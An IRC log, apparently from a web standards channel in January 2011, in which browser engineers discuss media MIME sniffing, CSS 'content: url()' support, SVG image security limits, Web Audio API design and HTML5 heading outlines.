[11:15:00.0000] <foolip_>
it would seem a bit sneaky if, for example, I just propose this change, Hixie does it, and when Julian's issue has been resolved there's no longer any application/octet-stream to change the wording on

[11:15:01.0000] <annevk>
if you are still unsure I would reply and ask that, but I do not think you have to do anything at this point

[11:16:00.0000] <foolip_>
also, just looking at the size of the changes, my proposal is pretty much guaranteed to draw more objections

[11:16:01.0000] <foolip_>
if that should happen, how should one interpret that decision when we want to kill Content-Type?

[11:17:00.0000] <karlcow>
Philip`: you should put a date at the top of this txt file.

[11:17:01.0000] <annevk>
foolip_, it can be re-raised

[11:17:02.0000] <annevk>
foolip_, if there's sufficient support it will happen that way

[11:18:00.0000] <MikeSmith>
nice, selecing Settings from a Gmail desktop notification crashed my chrome

[11:18:01.0000] <MikeSmith>
/me looks around for atwilson 

[11:19:00.0000] <karlcow>
with a baseball bat?

[11:27:00.0000] <foolip_>
annevk, ok, do nothing it is

[11:27:01.0000] <foolip_>
any Mozillans in here?

[11:27:02.0000] <foolip_>
roc, maybe?

[11:28:00.0000] <foolip_>
it'd be nice to hear if their position on this has changed at all

[11:28:01.0000] <roc>
position on what?

[11:29:00.0000] <roc>
oh that

[11:29:01.0000] <Ms2ger>
Racing to the bottom of the poisoned well

[11:29:02.0000] <roc>
that's my line!

[11:30:00.0000] <foolip_>
Ms2ger, right, dropping right to the bottom instead how slowly and painfully being dragged down, creating a mess along the way :)

[11:30:01.0000] <Ms2ger>
I guess we've lost already :)

[11:30:02.0000] <foolip_>
s/how/of/

[11:31:00.0000] <foolip_>
right, I think it's easier to just give up and do what IE, Chrome and Safari are already doing

[11:32:00.0000] <roc>
I agree

[11:32:01.0000] <roc>
I don't like it, but I agree

[11:32:02.0000] <Ms2ger>
How about we all just implement it, then?

[11:32:03.0000] <roc>
I should mention it to our video guys again to make sure they're not going to rebel though

[11:33:00.0000] <foolip_>
roc, please do :)

[11:33:01.0000] <foolip_>
I assume you're already "sniffing" for the difference between audio/ogg and video/ogg anyway :)

[11:33:02.0000] <foolip_>
that is, just decoding it and seeing what happens

[11:33:03.0000] <roc>
yes of course

[11:34:00.0000] <roc>
although we will have to add new sniffing code since currently we instantiate a decoder based on MIME type

[11:34:01.0000] <roc>
back in a bit

[11:35:00.0000] <MikeSmith>
http://twitter.com/#!/pbakaus/status/30344292123807745 regarding what's lacking in canvas to make it useful for game programming… "needs more features like click detection and the ability to have sprites rather than just set and wipe pixels"

[11:38:00.0000] <foolip_>
roc, OK, good to know that you're also prepared to give up :)

[11:38:01.0000] <foolip_>
or should it be :/

[11:38:02.0000] <foolip_>
MikeSmith, drawImage ?

[11:39:00.0000] <foolip_>
and <canvas onclick>

[11:58:00.0000] <twisted`>
question... content: url(image.png); seems to replace the image in WebKit but not Gecko

[11:58:01.0000] <twisted`>
is this a bug or just not implemented?

[11:59:00.0000] <twisted`>
(fx 3.6 btw :))

[12:02:00.0000] <twisted`>
same in the firefox 4 beta 10

[12:03:00.0000] <smaug____>
twisted`: replace which image?

[12:03:01.0000] <twisted`>
smaug____: it's a span with text that gets replaced

[12:04:00.0000] <Philip`>
karlcow: Even better than that, the date is before the top of the text file, in the HTTP header :-p

[12:04:01.0000] <smaug____>
twisted`: hmm, dbaron should know...

[12:05:00.0000] <karlcow>
Philip`: :p

[12:05:01.0000] <Philip`>
(None of my data stuff is really meant to make sense out of its original context)

[12:05:02.0000] <karlcow>
yep

[12:05:03.0000] <Philip`>
(which is usually some IRC conversation or email etc)

[12:06:00.0000] <twisted`>
smaug____: not a big issue I can also do a hide of the text and then do a background

[12:06:01.0000] <twisted`>
but this looks nice a nicer solution

[12:06:02.0000] <Philip`>
(and there's too much required context and too many caveats to make the data presentation self-contained)

[12:06:03.0000] <smaug____>
twisted`: it is possible that content: url(image) isn't implemented

[12:06:04.0000] <karlcow>
Philip`: you should add

[12:06:05.0000] <karlcow>
X-Context: "None of this data stuff is really meant to make sense out of its original context"

[12:07:00.0000] <karlcow>
in the HTTP headers

[12:07:01.0000] <karlcow>
:p

[12:08:00.0000] <smaug____>
twisted`: apparently CSS2.1 isn't too strict what should happen with content: url(some_resource)

[12:08:01.0000] <Ms2ger>
content isn't implemented on elements, only for pseudo-elements in Gecko

[12:08:02.0000] <smaug____>
I doubt anyone supports content: url(somepage.html)

[12:09:00.0000] <smaug____>
ah, right, Ms2ger is most probably right

[12:09:01.0000] <smaug____>
:)

[12:09:02.0000] <TabAtkins>
Presumably it *should* work like an iframe.  But yeah, very underspecified.

[12:10:00.0000] <Ms2ger>
Does that work in WebKit already? I thought it was just Opera...

[12:10:01.0000] <zcorpan>
seems to work in webkit

[12:11:00.0000] <AryehGregor>
That's vaguely horrifying.

[12:11:01.0000] <AryehGregor>
Although I can't say exactly why.

[12:11:02.0000] <zcorpan>
i mean element { content:url(image.png) } works in webkit

[12:11:03.0000] <AryehGregor>
Oh, that's not so horrible.

[12:11:04.0000] <AryehGregor>
I thought we were talking about HTML.

[12:11:05.0000] <twisted`>
hmm

[12:11:06.0000] <twisted`>
well I'll just stick the image directly in it

[12:11:07.0000] <twisted`>
:)

[12:12:00.0000] <TabAtkins>
zcorpan: Though, it doesn't work the way I think it *should*; it doesn't act like a replaced element, but rather like an element with an anonymous <img> child.

[12:12:01.0000] <twisted`>
just need to figure out if the image of a single-quote I put in the content can be moved around

[12:12:02.0000] <TabAtkins>
When I pick up Generated Content I'll figure out whether we can make that automatic or have a switch or what.

[12:12:03.0000] <zcorpan>
TabAtkins: i think it does in opera too

[12:12:04.0000] <karlcow>
what's happening with svg instead of png

[12:12:05.0000] <karlcow>
and with html called from svg ?

[12:13:00.0000] <smaug____>
based on CSS 2.1, content applies only to :before and :after

[12:13:01.0000] <zcorpan>
TabAtkins: iirc there's a good reason for it but i'm not sure what it is

[12:13:02.0000] <Ms2ger>
With a difference between |url(image)| and |url(image) ""|?

[12:13:03.0000] <TabAtkins>
Ms2ger: That's what I'm thinking, yeah.

[12:13:04.0000] <Ms2ger>
I guess that would probably work

[12:13:05.0000] <karlcow>
/me has to finish this email, but it seems like a fun thing to test

[12:13:06.0000] <annevk>
please don't make content:url() work for anything but images

[12:14:00.0000] <zcorpan>
TabAtkins: maybe it's because it's supposed to be consistent with how content: "foo" url(image) "bar"; would be handled

[12:14:01.0000] <annevk>
also, when directly applied 'content' does make some kind of replaced element, no?

[12:14:02.0000] <annevk>
maybe I misremembered

[12:14:03.0000] <TabAtkins>
zcorpan: Yeah, but it makes it impossible to do actual image replacement, which is annoying.

[12:15:00.0000] <annevk>
we should just special case content with a single url()

[12:15:01.0000] <annevk>
imo

[12:15:02.0000] <karlcow>
well annevk that would reverse the snafu

[12:15:03.0000] <TabAtkins>
annevk: Yeah, that's what I'd like to do.  I'll explore it later when I pick up the draft, though if anyone wants to forge ahead with an implementation, feel free.

[12:15:04.0000] <karlcow>
HTML5 would be then included in CSS3

[12:15:05.0000] <Ms2ger>
Tab, how many specs are you editing now, and how many are you planning to take up in the near future? :)

[12:15:06.0000] <zcorpan>
TabAtkins: what if you want image replacement and some text after like the header on anne's blog?

[12:15:07.0000] <zcorpan>
TabAtkins: and want to resize the image?

[12:16:00.0000] <annevk>
note that my header changed

[12:16:01.0000] <TabAtkins>
zcorpan: use content on the elemetn and on ::before?

[12:16:02.0000] <TabAtkins>
zcorpan: Alternately, don't do that.

[12:16:03.0000] <zcorpan>
TabAtkins: maybe we could have some sort of pseudo-element to reach each part of the generated content?

[12:16:04.0000] <annevk>
zcorpan, XBL

[12:17:00.0000] <zcorpan>
or yeah, we could try not to overengineer it and keep it simple and pragmatic :)

[12:17:01.0000] <annevk>
lets not introduce more special pseudo-elements for scenarios that can be solved with XBL

[12:20:00.0000] <TabAtkins>
annevk: FYI, you show up in autocomplete after typing "anne va", and are the first result when I add the "n".

[12:20:01.0000] <TabAtkins>
annevk: The results for "anne v" are much better, though.

[12:21:00.0000] <annevk>
:)

[12:22:00.0000] <karlcow>
some sites are using https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Object/defineSetter because of the Pigment JS library

[12:24:00.0000] <karlcow>
s/pigment/figment/ pfff dyselxya

[12:26:00.0000] <TabAtkins>
link to the engine?  search results are surprisingly unhelpful here.

[12:27:00.0000] <zcorpan>
TabAtkins: btw, using ::before wouldn't help with that case since it ends up being pretty much the same

[12:28:00.0000] <TabAtkins>
Okay.  I dunno quite what the example is anyway now, since Anne's header changed.

[12:37:00.0000] <zcorpan>
it used to be something like h1 { content:url(daddy) " weblog" }

[12:37:01.0000] <zcorpan>
s/daddy/logo/

[12:37:02.0000] <TabAtkins>
...

[12:37:03.0000] <TabAtkins>
That's an odd substitution.

[12:38:00.0000] <Dashiva>
The keys are like right next to each other

[12:38:01.0000] <TabAtkins>
Only on the DADDYLOGO keyboard layout.

[12:38:02.0000] <zcorpan>
yah, DADDYLOGO is what i use

[12:40:00.0000] <TabAtkins>
Never understood the claimed performance benefits of DADDYLOGO.  I'd have to decide which of three keys to press every time I want a D!

[12:40:01.0000] <TabAtkins>
Seems like it would slow you down.

[12:41:00.0000] <AryehGregor>
No, because you could pick the closest one.

[12:41:01.0000] <AryehGregor>
Clearly it would be much faster to type, e.g., "Daddylogo" in this layout than in QWERTY.

[12:42:00.0000] <TabAtkins>
Point.

[12:43:00.0000] <dglazkov>
/me can hear TabAtkins giggling in his cube. Clearly I missed a great DADDYLOGO keyboard discussion.

[12:50:00.0000] <AryehGregor>
/me relentlessly pursues his campaign to get minor Linux annoyances fixed: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=611299

[12:50:01.0000] <AryehGregor>
I don't know why I'm investing all this effort into that bug.

[12:50:02.0000] <AryehGregor>
It's not like it matters much.  I guess that once I took the time to write a patch, I may as well see it through.

[12:54:00.0000] <annevk>
TabAtkins, daddy is one of the other images :)

[12:54:01.0000] <annevk>
TabAtkins, the one that says "SVG Sucks"

[12:54:02.0000] <TabAtkins>
annevk: Ah, that makes sense.

[12:55:00.0000] <karlcow>
/me has an evil laugh

[12:55:01.0000] <karlcow>
http://www.la-grange.net/2011/01/27/test/content-css

[12:56:00.0000] <karlcow>
we can insert SVG with Firefox and Opera and have a working foreignObject inside containing HTML

[12:56:01.0000] <annevk>
karlcow, content:url(svg) is also buggy in Opera

[12:56:02.0000] <karlcow>
at least it displays

[12:57:00.0000] <annevk>
only after reload

[12:57:01.0000] <miketaylr>
/me has to reload too

[12:57:02.0000] <annevk>
known bug btw, affects my blog too

[12:58:00.0000] <karlcow>
:) updated.

[12:58:01.0000] <AryehGregor>
"Most specifically, ISPs can force a downgrade of https to http, but Sullivan said that Facebook had not seen that happen."  http://www.theatlantic.com/technology/archive/2011/01/the-inside-story-of-how-facebook-responded-to-tunisian-hacks/70044/  Is that actually true?

[12:59:00.0000] <AryehGregor>
Maybe they mean if the user doesn't connect with HTTPS to start with, and connects via HTTP only to be redirected to HTTPS.

[12:59:01.0000] <AryehGregor>
(yay STS)

[12:59:02.0000] <karlcow>
/me tries to imagine people will use SVG for inserting html in background images

[13:01:00.0000] <karlcow>
I wonder if video are working too

[13:01:01.0000] <karlcow>
videos

[13:01:02.0000] <annevk>
hmm yeah, HTML as images too?

[13:02:00.0000] <annevk>
that would require an update to the image loading spec

[13:02:01.0000] <AryehGregor>
SVG in things like background images or <img> already suppresses script and interactivity and whatever, why not also embedded HTML?

[13:02:02.0000] <AryehGregor>
Or does it just not really matter?

[13:04:00.0000] <annevk>
why would it suppress it?

[13:04:01.0000] <AryehGregor>
I dunno.

[13:04:02.0000] <AryehGregor>
It seems pointless to include HTML in SVGs if they're non-interactive, though.  Hmm, I guess you might want to do <video> or something . . .

[13:08:00.0000] <karlcow>
I put links. And they are not working at least. They show up but are not activated http://www.la-grange.net/2011/01/27/test/content-css

[13:10:00.0000] <TabAtkins>
Hm, given that <url> is an <image> type, I guess it makes sense to just accept anything that you could validly point an <img src> at.

[13:11:00.0000] <TabAtkins>
And treat it the same way.

[13:13:00.0000] <Hixie>
foolip_: despite what sam says, in my experience there is plenty of precedent for issues' CPs going way beyond the scope of the original bug's request

[13:25:00.0000] <foolip_>
I'll just go on vacation and see if anything interesting has happened to the ISSUE when I'm back

[13:27:00.0000] <AryehGregor>
lol.  http://blogs.technet.com/b/rhalbheer/archive/2011/01/14/real-physical-security.aspx

[13:29:00.0000] <TabAtkins>
Heh, I love nested data urls.

[13:32:00.0000] <twisted`>
what's the most adviceable route for implementing SVG? Do a check if the browser supports it and then replace it using javascript or css?

[13:32:01.0000] <AryehGregor>
twisted`, inline SVG?  SVG in <img>, <object>?  Something else?

[13:33:00.0000] <twisted`>
AryehGregor: img if supported

[13:34:00.0000] <twisted`>
never used it on sites but considering the support in most major browsers really kicks ass I see no reason not to do it ;)

[13:34:01.0000] <AryehGregor>
Probably the best way is just to blacklist based on UA string.  I don't think there's any way to feature-test there, except possibly by trying to load the image and checking for error events, which is slow.

[13:34:02.0000] <AryehGregor>
(note: do not whitelist based on UA string, that's evil)

[13:34:03.0000] <twisted`>
AryehGregor: I was planning more a whitelist :p browsers I know that support it get the SVG and else... just the PNG

[13:35:00.0000] <twisted`>
oh, ok, why not?

[13:35:01.0000] <AryehGregor>
Whitelisting means your page won't work well with any new browsers that show up.

[13:35:02.0000] <AryehGregor>
It will bitrot.

[13:35:03.0000] <AryehGregor>
Blacklisting only punishes new browsers if they do the wrong thing and don't support SVG.

[13:35:04.0000] <AryehGregor>
Which is unlikely for mainstream browsers at this point.

[13:35:05.0000] <AryehGregor>
Whereas the existence of browsers you haven't heard of is basically a certainty.

[13:35:06.0000] <twisted`>
hmm not possible to say IE =< 9 allowed but the rest not? dunno

[13:36:00.0000] <TabAtkins>
Set some value in a conditional comment for IE <= 9, then check if it's set.  If not, add the SVG and hope for the best.

[13:38:00.0000] <twisted`>
hmm ok never mind turns out the logo was designed by a n00b and did weird effects

[13:38:01.0000] <twisted`>
and the logo goes all haywire on me as a svg

[14:06:00.0000] <roc>
<video> in an SVG image might currently work in Firefox, but it's about to stop working

[14:06:01.0000] <roc>
we think everyone will need to disable loading of external resources from an SVG image

[14:07:00.0000] <TabAtkins>
<video src=data:video/ogg,...> should still work, then? ^^;

[14:07:01.0000] <roc>
yeah, we'll still support data:

[14:07:02.0000] <roc>
good luck with that

[14:07:03.0000] <TabAtkins>
Oh, wow, I was being facetious.  Interesting.

[14:09:00.0000] <roc>
the problem is that if a site allows SVG image uploads, and has an open redirector, the images can "phone home" in unexpected ways

[14:09:01.0000] <TabAtkins>
Yeah, I understand the issue.

[14:09:02.0000] <TabAtkins>
You want to have a defined and limited contract for what "images" can do.

[14:09:03.0000] <roc>
we have an implicit one now

[14:14:00.0000] <roc>
hmm, maybe we can fix this another way

[14:22:00.0000] <abarth>
can't we just remove SVG images?  they're so wrong

[14:22:01.0000] <TabAtkins>
What?  No!  SVG images are great.

[14:22:02.0000] <TabAtkins>
I use 'em, and love 'em.

[14:22:03.0000] <abarth>
for what?  introducing security vulnerabilities?

[14:22:04.0000] <abarth>
:)

[14:22:05.0000] <TabAtkins>
For scalable vector graphics!

[14:22:06.0000] <TabAtkins>
I let you fix the security vulnerabilities.

[14:22:07.0000] <abarth>
why not just use SVG in HTML?

[14:23:00.0000] <abarth>
i've used svg images before too

[14:23:01.0000] <abarth>
bu

[14:23:02.0000] <abarth>
t

[14:23:03.0000] <abarth>
they having all these strange problems

[14:23:04.0000] <TabAtkins>
Can I easily reuse a single image in multiple places on the page with SVG-in-HTML?

[14:23:05.0000] <TabAtkins>
/me doesn't know enough.

[14:23:06.0000] <abarth>
TabAtkins: with XBL!

[14:23:07.0000] <abarth>
/me hides

[14:23:08.0000] <TabAtkins>
>_<

[14:24:00.0000] <zcorpan>
<use>?

[14:24:01.0000] <TabAtkins>
Anyway, if you can do that, then SVG-in-HTML is fine.  If not, then you still want SVG-in-<img>, or a similar solution.

[14:24:02.0000] <TabAtkins>
zcorpan: Does that work?

[14:24:03.0000] <abarth>
i'm not sure how use interacts with being in HTML

[14:24:04.0000] <zcorpan>
TabAtkins: i haven't tried to touch it with a stick, so dunno

[14:25:00.0000] <zcorpan>
/me has just heard other people curse over <use>

[14:26:00.0000] <TabAtkins>
All these attributes on <use> confuse and enrage me.

[14:26:01.0000] <TabAtkins>
Oh, wait, I was looking at a decade-old WD.

[14:27:00.0000] <TabAtkins>
Dammit.

[14:28:00.0000] <TabAtkins>
It looks like you could maybe use <svg><symbol/></svg> in the head, and then <svg><use/></svg> in the document?  Theoretically, at least.

[14:30:00.0000] <zcorpan>
you can't put <svg> in head

[14:30:01.0000] <AryehGregor>
Why not?

[14:30:02.0000] <AryehGregor>
I guess you want it to break out implicitly.

[14:30:03.0000] <zcorpan>
it implies <body>

[14:30:04.0000] <AryehGregor>
In text/html, anyway.

[14:31:00.0000] <TabAtkins>
Okay, well, <symbol> isn't supposed to ever be rendered, so it should be fine in <body> too.

[14:34:00.0000] <TabAtkins>
Hmm.  Do document referenes in inline <svg> work across <svg> elements?

[14:46:00.0000] <zcorpan>
mpilgrim: btw, opera 11 has nicer error messages for form validation, in case you have nothing better to do and feel like updating images in http://diveintohtml5.org/forms.html#validation :)

[15:02:00.0000] <roc>
SVG images are nice but some implementations are rather buggy .... cough cough

[15:09:00.0000] <zcorpan>
TabAtkins: the feed would be more useful if the entries contained the diffs

[15:10:00.0000] <zcorpan>
/me subscribes to the commits mailing list instead

[15:12:00.0000] <TabAtkins>
zcorpan: They don't?  That's a pretty useless feed, then.  I'll complain.

[15:14:00.0000] <zcorpan>
    <description>Message posted by Tab

[15:14:01.0000] <zcorpan>
Atkins Jr.. via cvs-syncmail</description>

[15:14:02.0000] <zcorpan>
is all

[15:14:03.0000] <TabAtkins>
Yeah, useless.

[15:14:04.0000] <roc>
I see that abarth is discovering that it's hard to make arguments about complexity in the face of use-cases and an implementation

[15:15:00.0000] <abarth>
w.r.t. SVG images or CSP?

[15:15:01.0000] <roc>
well, both

[15:15:02.0000] <zcorpan>
TabAtkins: ideal would be log message as title and full diff as description

[15:15:03.0000] <abarth>
i know we can't get rid of SVG images :)

[15:15:04.0000] <roc>
I learned that lesson in other places too

[15:15:05.0000] <TabAtkins>
zcorpan: Agreed.

[15:15:06.0000] <roc>
Audio WG for example

[15:16:00.0000] <abarth>
its just a funny artifact of how svg came to the world

[15:16:01.0000] <AryehGregor>
roc, a feature can be too complex for *authors* even if you have use-cases and an implementation.

[15:16:02.0000] <AryehGregor>
Particularly security-related features.

[15:16:03.0000] <roc>
I totally agree

[15:16:04.0000] <roc>
it's just a hard argument to make when authors are saying "no, I really want this"

[15:17:00.0000] <zcorpan>
TabAtkins: well, and which spec being updated in title, too

[15:17:01.0000] <roc>
not all authors, just some set of really smart authors --- the sort who tend to get involved in spec discussions, or work for Google

[15:19:00.0000] <roc>
and who think that being able to implement a professional audio mixing desk on a mobile device as a Web app is a completely reasonable requirement for the first version of a spec, cough cough

[15:41:00.0000] <foolip_>
roc, is there any point in joining that Audio WG?

[15:41:01.0000] <foolip_>
I imagine I'd mostly be saying "no" :)

[15:42:00.0000] <roc>
I dunno

[15:42:01.0000] <roc>
your feedback would actually be useful

[15:42:02.0000] <foolip_>
are you trying to reconcile your super-simple API with Google's filter graph?

[15:42:03.0000] <roc>
no, I don't think anyone's trying to do that

[15:42:04.0000] <foolip_>
phew

[15:43:00.0000] <foolip_>
so inventing a 3rd API then I guess?

[15:43:01.0000] <roc>
I don't know what to do

[15:44:00.0000] <foolip_>
I think I'll join after my vacation and see if there's anything fun happening

[15:44:01.0000] <roc>
we could add support for using Workers to generate audio. that would help with latency issues

[15:45:00.0000] <roc>
but fundamentally, if you have a hard requirement for minimal latency plus maximum possible throughput using the GPU to process samples etc, then sure OK you need to bake every effect under the sun into the browser

[15:45:01.0000] <foolip_>
is there any kind of idea about the model yet?

[15:45:02.0000] <foolip_>
push from script using something like writeSamples, or pull from script via a callback?

[15:46:00.0000] <doublec>
Corban Brook was working on a JavaScript  bridge implementing the google api on top of the mozilla api:https://github.com/corbanbrook/audionode.js

[15:46:01.0000] <roc>
I don't think the sample graph guys really care about JS that much

[15:46:02.0000] <roc>
in their world, if you have to process samples with JS you've already lost

[15:47:00.0000] <foolip_>
how low latency is low enough for them?

[15:47:01.0000] <foolip_>
what's the use case?

[15:47:02.0000] <foolip_>
I'm thinking the number 1 use case, all categories, is a NES emulator

[15:47:03.0000] <roc>
audio mixing desk

[15:47:04.0000] <foolip_>
if you can do that, nothing else matters :)

[15:47:05.0000] <roc>
instrument synthesis

[15:48:00.0000] <roc>
real-time spatial effects

[15:48:01.0000] <roc>
for games etc

[15:48:02.0000] <roc>
we can do the NES emulator, that's a non-issue :-)

[15:49:00.0000] <foolip_>
is there no minimum latency caused by the number of samples you have to write at a time or some such?

[15:49:01.0000] <roc>
I don't know

[15:49:02.0000] <roc>
you kinda have to be a super audio guru to participate in that WG

[15:50:00.0000] <roc>
and I don't have time to become one

[15:50:01.0000] <foolip_>
of course, if you have a small enough buffer then having to wait for the JS engine is eventually going to fall apart

[15:50:02.0000] <foolip_>
it's just a question of how small is small enough...

[15:51:00.0000] <roc>
so will C

[15:51:01.0000] <roc>
of course, JS will never be quite as efficient as C

[15:51:02.0000] <foolip_>
don't you have audio cards that you can upload sounds to and program the filters and whatnot in advance?

[15:51:03.0000] <roc>
which is why all features everywhere must be baked into the browser

[15:52:00.0000] <roc>
that's another issue yeah

[15:52:01.0000] <foolip_>
I really don't know, to me an audio card is just a D/A-converter

[15:52:02.0000] <roc>
plus the use of the GPU or another specialized processor

[15:52:03.0000] <foolip_>
processing audio isn't that expensive...

[15:53:00.0000] <roc>
it is if you want to mix 300 channels with spatial effects and more

[15:53:01.0000] <roc>
sure, not all Web developers want to do that

[15:53:02.0000] <roc>
but the Audio WG people do :-)

[15:53:03.0000] <foolip_>
what kind of system is that possible in?

[15:53:04.0000] <doublec>
and they want to do it on browsers embedded on mobile devices

[15:53:05.0000] <foolip_>
don't you need really expensive hardware?

[15:54:00.0000] <foolip_>
or can their filter graph thingy work on anything?

[15:54:01.0000] <roc>
I don't know

[15:55:00.0000] <foolip_>
ok, so I'll join the WG and ramble a bit in 2 weeks

[15:55:01.0000] <foolip_>
please stop them from doing crazy stuff in the meantime :)

[15:55:02.0000] <roc>
I'm not optimistic

[15:56:00.0000] <roc>
the point I was making w.r.t. Adam was that if someone wants a feature, and someone else is providing it, it's really hard to get in the middle and tell them they shouldn't do that

[15:56:01.0000] <roc>
on the grounds of complexity, at least

[15:56:02.0000] <foolip_>
uh, so who's providing?

[15:56:03.0000] <foolip_>
Chrome?

[15:56:04.0000] <roc>
Chrome and Safari

[15:56:05.0000] <roc>
the code is in Webkit

[15:57:00.0000] <foolip_>
"The ones that win are the ones that ship."

[15:58:00.0000] <foolip_>
sucky but true

[15:58:01.0000] <doublec>
mozilla guys are providing too though - in that they've landed and documented an api

[15:58:02.0000] <foolip_>
doublec, they? is it not you?

[15:58:03.0000] <doublec>
foolip_: no, it wasn't the auckland office that worked on it

[15:59:00.0000] <foolip_>
oh, ok

[15:59:01.0000] <doublec>
if it was I'd be pushing hard for it in the working group. As it is I'm not sure what the best approach is.


2011-01-28
[16:00:00.0000] <foolip_>
me neither, but the filter graph API *looks* way too complicated

[16:00:01.0000] <doublec>
yes

[16:01:00.0000] <foolip_>
maybe the right solution is WebAL or something

[16:01:01.0000] <doublec>
there's also been discussion on MusicML and supporting other music bsaed things which could become a distraction

[16:01:02.0000] <foolip_>
surely browsers shouldn't support MusicML natively?

[16:01:03.0000] <doublec>
I'm not opposed to a WebGL like approach where we wrap OpenSL/OpenAL or something like that

[16:01:04.0000] <doublec>
and let people build JS API's on top

[16:02:00.0000] <foolip_>
doublec, appart from the fact that I've never even looked at OpenSL or OpenAL, I'm inclined to agree

[16:03:00.0000] <foolip_>
I should sleep :)

[16:58:00.0000] <webr3>
annevk, any specific reason there isn't first class for json in xhr2, as in responseObject?

[16:59:00.0000] <TabAtkins>
json should be a responseType, I think.

[17:00:00.0000] <gsnedders>
responseType is just the MIME type, which is totally different…

[17:01:00.0000] <gsnedders>
Or am I misremembering things?

[17:01:01.0000] <TabAtkins>
responseType takes a string or enum or whatever indicating what type the value in .response should be.

[17:01:02.0000] <gsnedders>
Okay, I am misremembering things :)

[17:02:00.0000] <gsnedders>
/me just got home from concert and is fueled by awesomeness right now

[17:02:01.0000] <TabAtkins>
Sick Puppies?

[17:02:02.0000] <gsnedders>
Yeah.

[17:02:03.0000] <TabAtkins>
Awesome.

[17:02:04.0000] <TabAtkins>
We flew on the same plane as them after Buzzfest.

[17:03:00.0000] <gsnedders>
The thing is here they're not very well known, almost no promotion from record label, almost entirely word-of-mouth.

[17:03:01.0000] <gsnedders>
Totally different to the US.

[17:03:02.0000] <webr3>
ahh yeah i remember that convo on the list, was looking at wrong draft - in that case a responseType of "object" would be good.. (or such like)

[17:03:03.0000] <webr3>
ty

[17:04:00.0000] <gsnedders>
So it was a fairly small venue, maybe 100–200 people, but so full of energy.

[17:04:01.0000] <TabAtkins>
Sweet.

[17:04:02.0000] <TabAtkins>
I love great bands in small venues.

[17:05:00.0000] <gsnedders>
And it wasn't sold out, friends dragged other friends along and bought tickets at the door.

[17:05:01.0000] <gsnedders>
I wanted to see Lacuna Coil play there in September — sold out in two days.

[17:41:00.0000] <TabAtkins>
If anyone's interested in Flexbox, feel free to review my new draft at http://dev.w3.org/csswg/css3-flexbox/Overview.new.html .  I want to make sure that other people think my approach is sane.

[22:02:00.0000] <Figaroo>
so why no h element?

[22:07:00.0000] <Figaroo>
I mean to say, why wasn't a single heading element defined in the HTML5 spec similar to how XHTML does headings and sections?

[22:12:00.0000] <Figaroo>
I suppose by using h1 as h you get the best of both worlds.

[22:22:00.0000] <kennyluck>
Figaroo, I think all these types of question will result in an answer, it just costs too much to add an element.

[22:23:00.0000] <kennyluck>
s/in/one/

[22:23:01.0000] <kennyluck>
oops, anyway.

[23:38:00.0000] <Hixie>
Figaroo: there is a single heading element defined in HTML similar to how XHTML2 did headings and sections, we just spell it <h1> instead of <h>. See the spec.

[00:37:00.0000] <Figaroo>
kennyluck, why does it cost so much to add an element?

[01:14:00.0000] <jgraham>
Figaroo: Browsers and other tools have to support it, books and so on have to be rewritten to mention it, etc.

[01:16:00.0000] <jgraham>
In the specific case of <h> vs <h1> it seems to add more complexity and be of extremely marginal utility

[01:16:01.0000] <hsivonen>
jgraham: btw, I, too, think that the true meaning of NFC is Normalization Form C

[01:17:00.0000] <hsivonen>
using it for something else is very confusing

[01:22:00.0000] <jgraham>
hsivonen: If we had annevk's journalist credentials we could make up a new name and spread it by saying things like "NFC, sometimes called Hvísla" (or whatever), neglecting to mention that we are the only people using the made-up name :)

[01:51:00.0000] <Figaroo>
I've read up a good amount on sections and headings in HTML5. Let me just clearify here if I may.

[01:53:00.0000] <Figaroo>
I could follow the XHTML pattern (section > h, section > section  > h, etc) only instead of <h> it's <h1>: <section><h1>Top level</h1><section><h1>Second level in outline</h1><section><h1>Third level in outline</h1</section></section></section>

[01:53:01.0000] <Figaroo>
?

[01:53:02.0000] <jgraham>
Yes

[01:58:00.0000] <Figaroo>
<section><h1>top level</h1><section><h6>second leve</h6></section></section> is essentially the same outline as if I used a h1 instead of a h6?

[02:00:00.0000] <benschwarz>
Hixie: !ping

[02:01:00.0000] <Figaroo>
And I could also use <section><h1>top level</h1>...<h2>second level</h2></section> to get the best of both XHTML and HTML4 worlds?

[02:03:00.0000] <jgraham>
Figaroo: Only if "best of" means "all the confusing features from both"

[02:03:01.0000] <jgraham>
I mean, it is designed to work because some use cases require it

[02:03:02.0000] <jgraham>
But I wouldn't so it if I had a choice

[02:03:03.0000] <Figaroo>
jgraham, their both confusing?

[02:04:00.0000] <Figaroo>
they're*

[02:04:01.0000] <jgraham>
Figaroo: Both the "now how many <section>s deep am I" and the "so how does this mismash of <hx> elements relate to each other, let alone my content"

[02:06:00.0000] <Figaroo>
Isn't it simple: you have a new outline heirarchy for every section which starts under it's parent section?

[02:06:01.0000] <jgraham>
/me is nervous about the innerHTML behaviour of <pre>, <listing> and so

[02:07:00.0000] <jgraham>
Figaroo: It is almost simple, but consider

[02:07:01.0000] <jgraham>
<section><h1>Foo</h1><h2>Bar</h2><section><h1>Baz</h1>

[02:07:02.0000] <jgraham>
What us Baz a child of?

[02:08:00.0000] <jgraham>
*is

[02:09:00.0000] <Figaroo>
if that was in the body then wouldn't it be the top-most header and Foo would be the second level under Baz?

[02:10:00.0000] <Figaroo>
Am I correct?

[02:11:00.0000] <jgraham>
IIRC Bar and Baz would be siblings under Foo. But I am not sure that IRC

[02:13:00.0000] <Figaroo>
That's what I would say too. It gets confusing only because you put an h1 after a section, which is just as confusing as putting an h1 after an h2 which probably neither are valid.

[02:14:00.0000] <AryehGregor>
Putting an h1 after a section is allowed.

[02:15:00.0000] <AryehGregor>
You're allowed to use only h1 for headers, if you like.

[02:15:01.0000] <AryehGregor>
This makes it easier to include one page in another, you don't have to change all the header levels.

[02:16:00.0000] <Figaroo>
AryehGregor, putting a section before any h1s is allowed?

[02:16:01.0000] <AryehGregor>
I'm not familiar with this stuff, but why wouldn't it be?

[02:17:00.0000] <AryehGregor>
http://validator.nu/?doc=data%3Atext%2Fhtml%2C%3C%21doctype+html%3E%3Ctitle%3E%3C%2Ftitle%3E%3Csection%3E%3C%2Fsection%3E&showsource=yes

[02:17:01.0000] <AryehGregor>
Validates fine.

[02:19:00.0000] <jgraham>
Right, you can have an untitled section

[02:19:01.0000] <jgraham>
(and generally a <section> will come before a <h1> because the <h1> is a child of the <section> it titles)

[02:20:00.0000] <Figaroo>
but what is the section that comes before the h1 a child of?

[02:21:00.0000] <Figaroo>
if it were a child of the h1 that comes after it, then it wouldn't be untitled.

[02:21:01.0000] <jgraham>
The <body>

